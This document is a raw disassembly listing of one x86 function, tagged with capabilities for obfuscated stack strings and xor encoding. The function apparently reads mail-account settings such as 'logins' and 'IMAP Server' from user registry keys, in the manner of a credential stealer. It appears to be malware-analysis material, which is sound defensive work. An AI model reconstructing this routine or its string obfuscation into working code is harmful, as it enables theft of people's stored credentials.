Function at 0x43fcb0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5063d3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xea8
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xf8], edi
push ecx
mov dword [ebp - 0x12c], 0
call fcn.00462eb0
mov dword [ebp - 4], 0
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0xfc], esp
sub esp, 8
mov dword [ebp - 0x12c], 1
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00462e80
add esp, 8
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0x7b767f63
mov dword [ebp - 0x18], 0x100677d
call fcn.0040ff60
push eax
mov ecx, edi
call fcn.00469040
mov ecx, eax
mov byte [ebp - 4], 0
call fcn.00462b00
mov esi, dword [0x50b014]
mov ecx, 0x5351b0
mov dword [ebp - 0xd8], ecx
push ecx
lea ecx, [ebp - 0x24c]
call fcn.00465030
lea eax, [ebp - 0x70]
mov dword [ebp - 4], 2
push eax
push 0x20019
push 0
lea ecx, [ebp - 0x24c]
call fcn.004027a0
push eax
push 0x80000001
call dword [0x50b004]
test eax, eax
jne 0x440b24
xor edi, edi
lea eax, [ebp - 0x3a0]
push 0x104
push edi
push eax
mov dword [ebp - 0xf0], edi
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x3a0]
push 0x104
push eax
push edi
push dword [ebp - 0x70]
call dword [0x50b008]
cmp eax, 0x103
je 0x440b1b
nop
lea eax, [ebp - 0x20]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x3a0]
push eax
push dword [ebp - 0x70]
call dword [0x50b004]
test eax, eax
jne 0x440add
push 0x104
push eax
lea eax, [ebp - 0x6b8]
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xfc], 0x104
lea eax, [ebp - 0x8b8]
push 0x200
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xe0], 0x200
lea eax, [ebp - 0xab8]
push 0x200
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xe4], 0x200
lea eax, [ebp - 0xcb8]
push 0x200
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xe8], 0x200
lea eax, [ebp - 0xeb8]
push 0x200
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xec], 0x200
mov dword [ebp - 0xd4], 1
xor ecx, ecx
mov dword [ebp - 0x6c], 3
mov dword [ebp - 0x37], 0x7b707d4a
mov word [ebp - 0x33], 0x7f
mov byte [ebp - 0x31], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 5
jb 0x43fed6
lea eax, [ebp - 0xfc]
mov byte [ebp - 0x31], 0
push eax
lea eax, [ebp - 0x6b8]
push eax
lea eax, [ebp - 0xd4]
push eax
push 0
lea eax, [ebp - 0x37]
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x440ad4
xorps xmm0, xmm0
mov dword [ebp - 0x1f0], eax
movups xmmword [ebp - 0x200], xmm0
mov dword [ebp - 0x1ec], 0xf
mov byte [ebp - 0x200], al
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], al
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x30]
mov word [ebp - 0x30], 0x2d
lea edx, [ecx + 1]
mov byte [ebp - 0x2e], al
movups xmmword [ebp - 0x188], xmm0
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ff72
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x188]
call fcn.00402810
push 0x104
lea eax, [ebp - 0x5b0]
mov byte [ebp - 4], 5
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xf4], 0x104
lea eax, [ebp - 0x4a8]
push 0x104
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
mov dword [ebp - 0xdc], 0x104
mov dword [ebp - 0x57], 0x42505d46
xor ecx, ecx
mov dword [ebp - 0x53], 0x64704733
mov dword [ebp - 0x4f], 0x6b7d61
mov byte [ebp - 0x4b], 1
nop word [eax + eax]
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x57], al
inc ecx
cmp ecx, 0xb
jb 0x43fff0
lea eax, [ebp - 0xdc]
mov byte [ebp - 0x4b], 0
push eax
lea eax, [ebp - 0x4a8]
push eax
lea eax, [ebp - 0xd4]
push eax
push 0
lea eax, [ebp - 0x57]
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
je 0x440076
lea ecx, [ebp - 0x9d]
mov dword [ebp - 0x9d], 0x42455d5c
mov dword [ebp - 0x99], 0x64704733
mov dword [ebp - 0x95], 0x6b7d61
mov byte [ebp - 0x91], 1
call fcn.0040d440
lea ecx, [ebp - 0xf4]
push ecx
lea ecx, [ebp - 0x5b0]
push ecx
lea ecx, [ebp - 0xd4]
push ecx
push 0
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x4400cd
cmp dword [ebp - 0xdc], 0
jbe 0x44009b
lea ecx, [ebp - 0x4a8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440088
sub ecx, edx
je 0x44009b
lea eax, [ebp - 0x4a8]
jmp 0x4400c1
cmp dword [ebp - 0xf4], 0
jbe 0x4400cd
lea ecx, [ebp - 0x5b0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4400b0
sub ecx, edx
je 0x4400cd
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x188]
call fcn.00464e50
mov dword [ebp - 0x66], 0x42505d46
xor eax, eax
mov dword [ebp - 0x62], 0x65744433
mov dword [ebp - 0x5e], 0x68766f64
mov word [ebp - 0x5a], 0x7f
mov byte [ebp - 0x58], 1
nop
lea ecx, [eax + 0xf]
xor byte [ebp + eax - 0x66], cl
inc eax
cmp eax, 0xd
jb 0x4400f0
lea eax, [ebp - 0xe0]
mov byte [ebp - 0x58], 0
push eax
lea eax, [ebp - 0x8b8]
push eax
lea eax, [ebp - 0x6c]
push eax
push 0
lea eax, [ebp - 0x66]
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
je 0x440233
lea ecx, [ebp - 0xbb]
mov dword [ebp - 0xbb], 0x21415f5f
mov dword [ebp - 0xb7], 0x65744433
mov dword [ebp - 0xb3], 0x68766f64
mov word [ebp - 0xaf], 0x7f
mov byte [ebp - 0xad], 1
call fcn.0040a210
lea ecx, [ebp - 0xe4]
push ecx
lea ecx, [ebp - 0xab8]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
je 0x440233
lea ecx, [ebp - 0xca]
mov dword [ebp - 0xca], 0x42454447
mov dword [ebp - 0xc6], 0x65744433
mov dword [ebp - 0xc2], 0x68766f64
mov word [ebp - 0xbe], 0x7f
mov byte [ebp - 0xbc], 1
call fcn.0040a210
lea ecx, [ebp - 0xe8]
push ecx
lea ecx, [ebp - 0xcb8]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
je 0x440233
lea ecx, [ebp - 0xac]
mov dword [ebp - 0xac], 0x42455d5c
mov dword [ebp - 0xa8], 0x65744433
mov dword [ebp - 0xa4], 0x68766f64
mov word [ebp - 0xa0], 0x7f
mov byte [ebp - 0x9e], 1
call fcn.0040a210
lea ecx, [ebp - 0xec]
push ecx
lea ecx, [ebp - 0xeb8]
push ecx
lea ecx, [ebp - 0x6c]
push ecx
push 0
push eax
push dword [ebp - 0x20]
call esi
test eax, eax
jne 0x4403e1
cmp dword [ebp - 0xe0], 0
jbe 0x44027d
lea ecx, [ebp - 0x8b8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440245
sub ecx, edx
je 0x44027d
lea ecx, [ebp - 0x76]
mov dword [ebp - 0x76], 0x42505d46
mov word [ebp - 0x72], 0x100
call fcn.0040b380
push eax
lea ecx, [ebp - 0x200]
call fcn.00464e50
push ecx
lea ecx, [ebp - 0x8b7]
jmp 0x44036c
cmp dword [ebp - 0xe4], 0
jbe 0x4402c8
lea ecx, [ebp - 0xab8]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440290
sub ecx, edx
je 0x4402c8
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x21415f5f
mov word [ebp - 0x78], 0x100
call fcn.0040b380
push eax
lea ecx, [ebp - 0x200]
call fcn.00464e50
push ecx
lea ecx, [ebp - 0xab7]
jmp 0x44036c
cmp dword [ebp - 0xe8], 0
jbe 0x44031b
lea ecx, [ebp - 0xcb8]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4402e0
sub ecx, edx
je 0x44031b
lea ecx, [ebp - 0x82]
mov dword [ebp - 0x82], 0x42454447
mov word [ebp - 0x7e], 0x100
call fcn.0040b380
push eax
lea ecx, [ebp - 0x200]
call fcn.00464e50
push ecx
lea ecx, [ebp - 0xcb7]
jmp 0x44036c
cmp dword [ebp - 0xec], 0
jbe 0x44037a
lea ecx, [ebp - 0xeb8]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440330
sub ecx, edx
je 0x44037a
lea ecx, [ebp - 0x88]
mov dword [ebp - 0x88], 0x42455d5c
mov word [ebp - 0x84], 0x100
call fcn.0040b380
push eax
lea ecx, [ebp - 0x200]
call fcn.00464e50
push ecx
lea ecx, [ebp - 0xeb7]
lea edx, [ebp - 0x128]
call fcn.0041f480
add esp, 4
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x128]
call fcn.00464b70
lea ecx, [ebp - 0x128]
mov byte [ebp - 0x21], 0
mov edi, dword [eax]
lea eax, [ebp - 0x234]
push eax
call fcn.00464b70
lea ecx, [ebp - 0x128]
mov esi, dword [eax]
lea eax, [ebp - 0x224]
push eax
call fcn.00464b90
push esi
lea edx, [ebp - 0x21]
lea ecx, [ebp - 0x230]
push dword [eax]
call fcn.00469990
add esp, 8
lea ecx, [ebp - 0x128]
push edi
push dword [eax]
lea eax, [ebp - 0x228]
push eax
call fcn.00464bb0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x108]
push 0
mov byte [ebp - 0x110], 0
call fcn.00466a30
mov byte [ebp - 4], 7
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x158], xmm0
mov byte [ebp - 0x160], 3
call fcn.004dbd81
mov esi, eax
add esp, 4
lea eax, [ebp - 0xcb]
mov dword [ebp - 0x20c], esi
mov dword [ebp - 0x210], eax
lea eax, [ebp - 0x200]
mov byte [ebp - 4], 8
push eax
mov ecx, esi
call fcn.00465030
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x158], esi
mov dword [ebp - 0x154], eax
mov byte [ebp - 4], 9
xor ecx, ecx
mov dword [ebp - 0x40], 0x747e627f
mov dword [ebp - 0x3c], 0x70787a
mov byte [ebp - 0x38], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 7
jb 0x440473
mov al, byte [ebp - 0x110]
mov byte [ebp - 0x38], 0
test al, al
jne 0x4404bc
push 1
lea ecx, [ebp - 0x218]
mov byte [ebp - 0x110], 1
call fcn.00466a30
mov edi, dword [ebp - 0x218]
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x108], edi
mov dword [ebp - 0x104], eax
jmp 0x4404ca
cmp al, 1
jne 0x440b67
mov edi, dword [ebp - 0x108]
xorps xmm0, xmm0
mov dword [ebp - 0x14], edi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x190], 0
movups xmmword [ebp - 0x1a0], xmm0
mov dword [ebp - 0x18c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4404f1
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x1a0]
call fcn.00402810
lea eax, [ebp - 0x1a0]
mov byte [ebp - 4], 0xa
push eax
mov ecx, edi
call fcn.0046c070
mov byte [ebp - 4], 9
mov edi, eax
mov ecx, dword [ebp - 0x18c]
cmp ecx, 0x10
jb 0x44055c
mov edx, dword [ebp - 0x1a0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440552
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440bbf
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
mov al, byte [edi]
mov byte [edi], 3
mov ecx, dword [edi + 0xc]
mov byte [ebp - 0x160], al
mov eax, dword [edi + 8]
mov dword [ebp - 0x154], ecx
lea ecx, [ebp - 0x160]
mov dword [edi + 8], esi
mov dword [edi + 0xc], edx
mov dword [ebp - 0x158], eax
call fcn.00462ae0
xorps xmm0, xmm0
mov byte [ebp - 0x150], 3
push 0x18
movq qword [ebp - 0x148], xmm0
call fcn.004dbd81
mov edi, eax
add esp, 4
lea eax, [ebp - 0xcc]
mov dword [ebp - 0x21c], edi
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x188]
mov byte [ebp - 4], 0xd
push eax
mov ecx, edi
call fcn.00465030
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x148], edi
mov dword [ebp - 0x144], eax
mov byte [ebp - 4], 0xe
xor ecx, ecx
mov dword [ebp - 0x26], 0x7d627a
mov byte [ebp - 0x22], 1
nop
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 3
jb 0x440620
xorps xmm0, xmm0
mov byte [ebp - 0x22], 0
lea ecx, [ebp - 0x26]
mov dword [ebp - 0x1a8], 0
movups xmmword [ebp - 0x1b8], xmm0
mov dword [ebp - 0x1a4], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440655
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00402810
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x14]
push eax
call fcn.0046c070
mov byte [ebp - 4], 0xe
mov esi, eax
mov ecx, dword [ebp - 0x1a4]
cmp ecx, 0x10
jb 0x4406c1
mov edx, dword [ebp - 0x1b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4406b7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440bbf
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0xf
mov byte [ebp - 0x1b8], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x150], al
mov eax, dword [esi + 8]
mov dword [ebp - 0x144], ecx
lea ecx, [ebp - 0x150]
mov dword [esi + 8], edi
mov dword [esi + 0xc], edx
mov dword [ebp - 0x148], eax
call fcn.00462ae0
xorps xmm0, xmm0
mov byte [ebp - 0x140], 3
push 0x18
movq qword [ebp - 0x138], xmm0
call fcn.004dbd81
mov edi, eax
add esp, 4
lea eax, [ebp - 0xcd]
mov dword [ebp - 0x204], edi
mov dword [ebp - 0x208], eax
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x6b8]
xorps xmm0, xmm0
lea edx, [ecx + 1]
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440765
sub ecx, edx
lea eax, [ebp - 0x6b8]
push ecx
push eax
mov ecx, edi
call fcn.00402810
mov dword [ebp - 0x204], 0
mov dword [ebp - 0x138], edi
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0x2d], 0x7b767f63
mov word [ebp - 0x29], 0x7d
mov byte [ebp - 0x27], 1
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x2d], al
inc ecx
cmp ecx, 5
jb 0x4407a4
xorps xmm0, xmm0
mov byte [ebp - 0x27], 0
lea ecx, [ebp - 0x2d]
mov dword [ebp - 0x1c0], 0
movups xmmword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x1bc], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4407e0
sub ecx, edx
lea eax, [ebp - 0x2d]
push ecx
push eax
lea ecx, [ebp - 0x1d0]
call fcn.00402810
lea eax, [ebp - 0x1d0]
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x14]
push eax
call fcn.0046c070
mov byte [ebp - 4], 0x13
mov esi, eax
mov ecx, dword [ebp - 0x1bc]
cmp ecx, 0x10
jb 0x44084c
mov edx, dword [ebp - 0x1d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440842
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440bbf
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 7
mov dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1bc], 0xf
mov byte [ebp - 0x1d0], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x140], al
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x138], ecx
lea ecx, [ebp - 0x140]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x134], edx
call fcn.00462ae0
xorps xmm0, xmm0
mov byte [ebp - 0x170], 3
push 0x18
movq qword [ebp - 0x168], xmm0
call fcn.004dbd81
mov edi, eax
add esp, 4
lea eax, [ebp - 0xce]
mov dword [ebp - 0x8c], edi
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x128]
mov byte [ebp - 4], 0x17
push eax
mov ecx, edi
call fcn.00465030
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x168], edi
mov dword [ebp - 0x164], eax
mov byte [ebp - 4], 0x18
xor ecx, ecx
mov dword [ebp - 0x4a], 0x6162717f
mov dword [ebp - 0x46], 0x72677b64
mov word [ebp - 0x42], 0x100
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x4a], al
inc ecx
cmp ecx, 8
jb 0x440917
xorps xmm0, xmm0
mov byte [ebp - 0x41], 0
lea edx, [ebp - 0x4a]
mov dword [ebp - 0x1d8], 0
movups xmmword [ebp - 0x1e8], xmm0
mov dword [ebp - 0x1d4], 0
lea ecx, [edx + 1]
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x440950
sub edx, ecx
lea eax, [ebp - 0x4a]
push edx
push eax
lea ecx, [ebp - 0x1e8]
call fcn.00402810
lea eax, [ebp - 0x1e8]
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x14]
push eax
call fcn.0046c070
mov byte [ebp - 4], 0x18
mov esi, eax
mov ecx, dword [ebp - 0x1d4]
cmp ecx, 0x10
jb 0x4409bc
mov edx, dword [ebp - 0x1e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4409b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440bbf
push ecx
push edx
call fcn.004dc002
add esp, 8
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x1d8], 0
mov dword [ebp - 0x1d4], 0xf
mov byte [ebp - 0x1e8], 0
mov al, byte [esi]
mov byte [esi], 3
mov ecx, dword [esi + 0xc]
mov byte [ebp - 0x170], al
mov eax, dword [esi + 8]
mov dword [ebp - 0x164], ecx
lea ecx, [ebp - 0x170]
mov dword [esi + 8], edi
mov dword [esi + 0xc], edx
mov dword [ebp - 0x168], eax
call fcn.00462ae0
mov dword [ebp - 0x1c], 0x7b767f63
xor ecx, ecx
mov dword [ebp - 0x18], 0x100677d
nop
lea eax, [ecx + 0xf]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 6
jb 0x440a20
mov ecx, dword [ebp - 0xf8]
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 0x15], 0
call fcn.00469040
lea ecx, [ebp - 0x110]
push ecx
mov ecx, eax
call fcn.00462470
lea ecx, [ebp - 0x110]
call fcn.00462ae0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x174]
cmp ecx, 0x10
jb 0x440a97
mov edx, dword [ebp - 0x188]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x440a8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x440bbf
push ecx
push edx
call fcn.004dc002
add esp, 8
lea ecx, [ebp - 0x128]
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x174], 0xf
mov byte [ebp - 0x188], 0
call fcn.00402660
lea ecx, [ebp - 0x200]
call fcn.00402660
mov esi, dword [0x50b014]
mov edi, dword [ebp - 0xf0]
push dword [ebp - 0x20]
call dword [0x50b00c]
push 0x104
lea eax, [ebp - 0x3a0]
push 0
push eax
call fcn.004ddfe0
add esp, 0xc
lea eax, [ebp - 0x3a0]
inc edi
mov dword [ebp - 0xf0], edi
push 0x104
push eax
push edi
push dword [ebp - 0x70]
call dword [0x50b008]
cmp eax, 0x103
jne 0x43fdf0
push dword [ebp - 0x70]
call dword [0x50b00c]
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0
call fcn.00402660
mov ecx, dword [ebp - 0xd8]
add ecx, 0x18
mov dword [ebp - 0xd8], ecx
cmp ecx, 0x535210
jne 0x43fd73
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea ecx, [ebp - 0x110]
call fcn.00466d00
push eax
lea ecx, [ebp - 0x280]
call fcn.00402700
push eax
mov edx, 0x51fdf8
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x298]
call fcn.00468e90
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x268]
call fcn.00408920
add esp, 4
lea eax, [ebp - 0x268]
push 0x530038
push eax
call fcn.004dd9eb
call fcn.004e12a0
int3